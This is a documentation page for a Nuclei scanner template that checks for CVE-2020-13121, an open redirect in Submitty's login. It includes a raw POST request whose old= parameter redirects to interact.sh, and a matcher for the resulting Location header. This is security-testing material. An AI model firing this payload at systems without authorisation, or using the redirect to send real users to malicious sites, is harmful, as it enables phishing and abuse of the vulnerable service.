Skip to content
Nuclei Templates

Submitty <= 20.04.01 - Open Redirect

ID: CVE-2020-13121

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2020,redirect,submitty,oos,rcos

Description

Section titled “Description”

Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13121


info:
  name: Submitty <= 20.04.01 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/Submitty/Submitty/issues/5265
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13121
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13121
    cwe-id: CWE-601
    epss-score: 0.00235
    epss-percentile: 0.61592
    cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rcos
    product: submitty
  tags: cve,cve2020,redirect,submitty,oos,rcos


http:
  - raw:
      - |
        POST /authentication/check_login?old=http%253A%252F%252Finteract.sh%252Fhome HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/authentication/login


        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login


    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a0046304402205068ff6860bd630f339aeba0f3e5d81ba90414394ff526c6b0828a2a429f55ae022039540e22f692a611fe95e6b04f13671afd4f8d026665e2407edb565611f8e13f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13121.yaml"

View on Github